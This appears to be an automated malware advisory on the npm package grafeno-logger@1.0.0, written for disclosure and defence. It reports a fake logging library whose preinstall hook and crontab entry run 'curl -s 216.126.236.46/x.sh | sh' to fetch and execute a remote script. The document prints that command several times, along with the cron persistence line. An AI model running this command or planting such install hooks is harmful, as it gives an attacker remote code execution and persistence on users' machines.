GCVE-110-OSM-2026-11289

grafeno-logger@1.0.0 is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs `curl -s 216.126.236.46/x.sh | sh` via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on `npm install`. The same preinstall step appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh | sh`, establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality — the library surface is a decoy for the install-time payload. Judge assessment: This looks like a classic install-time dropper: the attacker model is a publisher using a fake logging library to execute arbitrary code on victim machines during npm install. The `package.json` preinstall hook directly runs `curl -s 216.126.236.46/x.sh|sh`, which fetches and pipes a remote shell script from a hardcoded bare IP, and the IOC classification marks `216.126.236.46` as a fetched payload. The OSV advisory for `MAL-2026-15506` aligns with the observed behavior, and the shipped `index.js` is just a console wrapper, consistent with a decoy package rather than a real logger. The combination of a brand-new package, a very new publisher account, no repository, and a shell-executing preinstall script is decisive. ENTRY index.js (main: index.js) - Preinstall Script in package.json: ""preinstall": "curl -s 216.126.236.46/x.sh|sh"" DESTINATION - 1 fetched-payload (ipv4) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in package.json: "curl -s 216.126.236.46/x.sh|sh" ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account